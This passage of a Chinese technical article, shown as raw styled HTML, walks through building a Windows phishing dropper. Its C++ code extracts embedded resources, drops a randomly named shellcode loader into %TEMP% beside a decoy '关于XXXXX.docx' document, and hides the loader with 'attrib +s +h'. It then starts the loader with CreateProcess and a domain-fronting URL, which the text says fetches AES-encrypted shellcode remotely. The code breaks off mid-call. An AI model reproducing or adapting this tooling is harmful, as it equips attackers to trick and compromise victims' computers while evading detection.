border-box;font-size: inherit;color: inherit;line-height: inherit;">EXE资源载入文件代码：</span></p></li></ul><pre style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 0.5em;font-size: 14px;color: black;line-height: 18px;border-radius: 0px;background: rgb(238, 238, 238);display: block;font-family: Consolas, Inconsolata, Courier, monospace;overflow-x: auto;letter-spacing: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow-y: auto !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(51, 68, 187);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;iostream&gt;</span></span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(51, 68, 187);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;cstdio&gt;</span></span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(51, 68, 187);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;cstdlib&gt;</span></span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(51, 68, 187);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;Windows.h&gt;</span></span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(51, 68, 187);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;resource.h&#34;</span></span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">using</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">namespace</span> <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">std</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">typedef</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 0, 0);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">VOID</span><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(*Func)</span><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(VOID)</span></span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> *<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 0, 0);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">randstr</span><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> *str, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">int</span> len)</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></span>{<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    srand(time(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>));<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">int</span> i;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">for</span> (i = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">0</span>; i &lt; len; ++i)<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    {<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">switch</span> ((rand() % <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>))<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        {<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">case</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">1</span>:<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            str[i] = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#39;A&#39;</span> + rand() % <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">case</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>:<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            str[i] = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#39;a&#39;</span> + rand() % <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">default</span>:<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            str[i] = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#39;0&#39;</span> + rand() % <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">break</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    }<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    str[i] = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#39;\0&#39;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">return</span> str;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>}<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BOOL <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 0, 0);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ReleaseLibrary</span><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName)</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></span>{<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 找到资源</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    HRSRC hRsrc = FindResource(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, MAKEINTRESOURCE(uResourceId), szResourceType);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 获取资源大小</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    DWORD dwSize = SizeofResource(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, hRsrc);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 载入资源</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    HGLOBAL hGlobal = LoadResource(<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, hRsrc);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: inherit;font-style: italic;overflow-wrap: inherit !important;word-break: inherit !important;">// 锁定资源，并返回指向资源第一字节的指针</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    LPVOID lpRes = LockResource(hGlobal);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    DWORD dwWriten = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">0</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    BOOL bRes = WriteFile(hFile, lpRes, dwSize, &amp;dwWriten, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    CloseHandle(hFile);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    CloseHandle(hGlobal);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    CloseHandle(hRsrc);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">return</span> TRUE;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>}<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">int</span> APIENTRY <span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 0, 0);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">WinMain</span><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">int</span> nShowCmd)</span><br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></span>{<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> name[<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>];<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> *exe = randstr(name, <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">8</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    ZeroMemory(SaveFile, MAX_PATH);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    GetEnvironmentVariable(TEXT(<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;TMP&#34;</span>), SaveFile, MAX_PATH);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">const</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">char</span> * FileName = <span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;\\&#34;</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    strcat_s(SaveFile, FileName);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    strcat_s(SaveFile, exe);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    strcat_s(SaveFile, TEXT(<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;.exe&#34;</span>));<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>    BOOL wRes = ReleaseLibrary(IDR_KKKPPC1, (CHAR*)<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;KKKPPC&#34;</span>, (CHAR*)SaveFile);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            BOOL bRes = ReleaseLibrary(IDR_LGASD1, (CHAR*)<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;LGASD&#34;</span>, (CHAR*)<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34;关于XXXXX.docx&#34;</span>);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>}<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></code></pre><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">运行样本之后，在%TEMP%目录下释放shellcode加载器以及相应内容的DOC文档，</p><h5 style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">二、文件隐蔽</span></h5><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">使用Attrib +s +h命令把原本的文件增加了系统文件属性、隐藏文件属性。</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">这样该文件就不能在目录中被发现，但是仍然存在可以访问</p><pre style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 0.5em;font-size: 14px;color: black;line-height: 18px;border-radius: 0px;background: rgb(238, 238, 238);display: block;font-family: Consolas, Inconsolata, Courier, monospace;overflow-x: auto;letter-spacing: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow-y: auto !important;"><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">attrib</span> <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">C</span>:\<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Users</span>\<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">ThinkPad</span>\<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">AppData</span>\<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Local</span>\<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">Temp</span>\<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">jqR78D62</span><span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 119, 0);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">.exe</span>  +<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">s</span> +<span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">h</span> <br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/></code></pre><h5 style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">三、创建进程</span></h5><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">使用CreateProcess()创建进程，这里配合的是uknow师傅的[shellcode远程加载器改造计划]，去配合DoaminFronting 远程动态AES加密加载shellcode。</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://mp.weixin.qq.com/s/Zs_fCqZfzdzHTwVPvshFyQ" target="_blank">https://mp.weixin.qq.com/s/Zs_fCqZfzdzHTwVPvshFyQ</a></p><pre style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;margin-right: 2px;margin-left: 2px;padding: 0.5em;font-size: 14px;color: black;line-height: 18px;border-radius: 0px;background: rgb(238, 238, 238);display: block;font-family: Consolas, Inconsolata, Courier, monospace;overflow-x: auto;letter-spacing: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow-y: auto !important;">        PROCESS_INFORMATION pi;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        STARTUPINFO si = { <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(si) };<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        si.cb = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(si);<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        si.wShowWindow = <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">TRUE</span>;<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        strcat_s(SaveFile, TEXT(<span style="box-sizing: border-box;font-size: inherit;color: rgb(221, 17, 68);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&#34; <a href="http://qq.com/api DomainFronting" target="_blank">http://qq.com/api DomainFronting</a>&#34;</span>));<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>        <span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">BOOL</span> bRet = CreateProcess(<br style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"/>            <span style="box-sizing: border-box;font-size: inherit;color: rgb(0, 153, 153);line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">NULL</span>,<span style="box-sizing: border-box;font-size: inherit;color: rgb(153, 153, 136);line-height: 